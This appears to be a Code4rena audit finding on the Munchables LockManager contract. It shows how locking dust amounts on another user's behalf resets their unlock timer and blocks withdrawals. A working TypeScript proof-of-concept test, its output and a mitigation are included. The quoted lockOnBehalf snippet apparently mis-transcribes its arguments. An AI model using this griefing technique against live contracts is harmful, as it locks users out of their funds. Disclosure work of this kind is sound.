Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L275-L427

Vulnerability details

LockManager.sol::lockOnBehalf()

Impact

The protocol lets users lock native Eth or ERC20 tokens. When locking above a certain amount a user is minted an unopened munchables NFT. A player can lock for himself or on behalf of someone else.

    function lockOnBehalf(
        address _tokenContract,
        uint256 _quantity,
        address _onBehalfOf
    )
    ...
    {
        ...
        _lock(_tokenContract, _quantity, msg.sender, msg.sender);
    }

    function lock(
        address _tokenContract,
        uint256 _quantity
    )
    ...
    {
        _lock(_tokenContract, _quantity, msg.sender, msg.sender);
    }

As seen in the code snippets above both functions call _lock

When the _lock() function is called, the unlock time of the lockRecipient is reset

    function _lock(
        address _tokenContract,
        uint256 _quantity,
        address _tokenOwner,
        address _lockRecipient
    ) private {
...

        LockedToken storage lockedToken = lockedTokens[_lockRecipient][
            _tokenContract
        ];
...

        lockedToken.remainder = remainder;
        lockedToken.quantity += _quantity;
        lockedToken.lastLockTime = uint32(block.timestamp);
=>      lockedToken.unlockTime =
            uint32(block.timestamp) +
            uint32(_lockDuration);

...
    }

The same lock time is required to be greater than block.timestamp when calling unlock()

    function unlock(
        address _tokenContract,
        uint256 _quantity
    ) external notPaused nonReentrant {
        LockedToken storage lockedToken = lockedTokens[msg.sender][_tokenContract]; 
        if (lockedToken.quantity < _quantity) revert InsufficientLockAmountError();
=>      if (lockedToken.unlockTime > uint32(block.timestamp)) revert TokenStillLockedError();
...

This is not a problem if a user locks tokens by himself. However, it is a problem that an attacker could lock 1 wei on his behalf, because it resets the user's timer. This would stop the user from unlocking his position and retrieving his funds, effectively DoS-ing him.

As per the protocol docs the min lock duration is 30 days. Having that in mind a malicious user could DoS anyone by just locking 1 wei on their behalf every 29 days or just before the lock period ends.

The attack is super cheap (1 wei per lock) for the malicious actor, but stops a user from accessing his funds.

Proof of Concept

Add the following change to tests/run.ts:

-   let testGlob = "**/.test.ts";
+   let testGlob = "**/lock.test.ts";
    if (process.argv[2]) {
-    testGlob = process.argv[2] + ".test.ts";
+    testGlob = process.argv[2] + "lock.test.ts";
    }

And add the following test to tests/managers/LockManager/lock.test.ts and run with pnpm run test:typescript

Note that that would run the whole test suit because the --test-only option does not work

  describe.only("when using lockOnBehalf to cause DoS", () => {
    // Setup
    beforeEach(async () => {
      await testClient.setBalance({
        address: bob,
        value: parseEther("10"),
      });
      const configureTokenTxHash = await testContracts.lockManager.contract.write.configureToken([
        zeroAddress,
        { usdPrice: 100n * BigInt(1e18), nftCost: parseEther("2"), active: true, decimals: 18 },
      ]);
      await assertTxSuccess({ txHash: configureTokenTxHash });
    });

    it.only("test lock dos", async () => {
      // Alice locks 1 ether
      const { request:requestAlice } = await testContracts.lockManager.contract.simulate.lock(
        [zeroAddress, parseEther("1")],
        { account: alice, value: parseEther("1") }
      );
      const txHashAlice = await testClient.writeContract(requestAlice);
      await assertLockSuccess({
        testContracts,
        testERC20Contract,
        numberNFTs: 0n,
        player: alice,
        quantity: parseEther("1"),
        lockedQuantity: parseEther("1"),
        remainder: 0n,
        sender: alice,
        tokenContractAddress: zeroAddress,
        txHash: txHashAlice,
      });

      // Fast-forward the chain to put unlock time in past
      const block = await testClient.getBlock();
      await testClient.setNextBlockTimestamp({
        timestamp: BigInt(block.timestamp) + BigInt(lockDuration) + BigInt(1),
      });
      await testClient.mine({ blocks: 1 });

      let lockedTokens = await testContracts.lockManager.contract.read.getLocked([alice]);
      let lockedToken = lockedTokens.find((t) => t.tokenContract === zeroAddress);
      console.log("Alice unlock time      : " + lockedToken.lockedToken.unlockTime);

      // Bob locks 2 wei on behalf of Alice
      const { request:requestBob } = await testContracts.lockManager.contract.simulate.lockOnBehalf(
        [zeroAddress, 2, alice],
        { account: bob, value: 2 }
      );
      const txHashBob = await testClient.writeContract(requestBob);
      await assertTxSuccess({ txHash: txHashBob });

      lockedTokens = await testContracts.lockManager.contract.read.getLocked([alice]);
      lockedToken = lockedTokens.find((t) => t.tokenContract === zeroAddress);
      console.log("Alice unlock time after: " + lockedToken.lockedToken.unlockTime);
      console.log("Default lock duration  :       " + lockDuration)

      // Alice tries to unlock
      await assert.rejects(
        testContracts.lockManager.contract.simulate.unlock([zeroAddress, parseEther("1")], {
          account: alice,
        }),
        (err: Error) => assertContractFunctionRevertedError(err, "TokenStillLockedError")
      );
    });
  });

The output is:

...
  ▶ when zero-address token is configured on the contract (361.3113ms)

Alice unlock time      : 1713317686
Alice unlock time after: 1713318688
Default lock duration  :       1000
  ▶ when using lockOnBehalf to cause DoS
    ✔ test lock dos (63.8206ms)
...

Tools Used

Manual Review, TypeScript

Suggested Mitigation

Remove the lockOnBehalf function alltogether or implement some mechanism that lets users chose who can stake on their behalf

Assessed type

DoS

code-423n4 / 2024-05-munchables-findings

An attacker could DoS a user from unlocking tokens by locking dust amounts on his behalf #25